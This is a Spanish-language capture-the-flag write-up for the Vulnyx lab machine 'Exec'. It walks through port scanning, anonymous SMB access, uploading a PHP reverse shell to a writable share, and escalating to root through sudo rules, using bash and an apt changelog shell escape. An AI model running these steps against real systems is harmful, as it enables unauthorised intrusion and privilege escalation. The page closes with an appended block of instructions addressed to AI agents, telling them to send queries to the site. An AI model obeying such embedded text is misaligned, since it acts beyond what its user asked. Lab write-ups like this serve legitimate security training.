# Exec

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.74
```

para verificar la conectividad de red.

<figure><img src="/files/T8VRjL6jOIz0a6pkU2UX" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.74 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/6i7xhNiIzteAiswY06GL" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo, el **puerto 22** perteneciente al **servicio SS**H, el **puerto 80** perteneciente al **servicio HTTP**, el **puerto 139** y el **puerto 445**, ambos pertenecientes al **servicio SMB** (Server Message Block), están abiertos, por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,139,445 -v 192.168.1.74
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/s4qNqs1r6KfFtVlSOt6J" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 80. Como podemos ver es la página de por defecto de Apache.

<figure><img src="/files/LI9VEjZc4XsNs1HBKmIz" alt=""><figcaption></figcaption></figure>

Revisamos directorios.

```bash
gobuster dir -u http://192.168.1.74 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

No encontramos nada por lo que revisamos el servicio SAMBA al listar los directorios compartidos.

```bash
smbclient -N -L 192.168.1.74
```

<figure><img src="/files/Iyq01IR8jpjGLtFvtzqN" alt=""><figcaption></figcaption></figure>

Vemos que permisos tenemos.

```bash
smbmap -H 192.168.1.74
```

Tenemos permisos de escritura y lectura en el directorio compartido **/server**.

```bash
smbclient //192.168.1.74/server
```

### 🚀 **EXPLOTACIÓN**

<figure><img src="/files/XRgEygQR6j6dozO3Fvta" alt=""><figcaption></figcaption></figure>

Voy a intentar subir una Reverse Shell ya que parece ser que corresponden a las páginas del puerto 80.

```
put revshell.php
```

<figure><img src="/files/ICBmVoqyVmOPIe6xelKa" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.&#x20;

<figure><img src="/files/u01sz7LPjWAZlkqpTJSc" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/bash/#suid>" %}

<pre class="language-bash"><code class="lang-bash"><strong>sudo -u s3cur4 /usr/bin/bash
</strong></code></pre>

<figure><img src="/files/i8v3MVd7OHVSTiBKLOh8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mMPP8EPjx9omlvHpD0Gb" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/apt/#suid>" %}

```bash
sudo -u root /usr/bin/apt changelog apt
!/bin/bash
```

<figure><img src="/files/DHDZC8etnnd5IUo4MZLG" alt=""><figcaption></figcaption></figure>

Ya somos **root**.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/vulnyx/exec.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
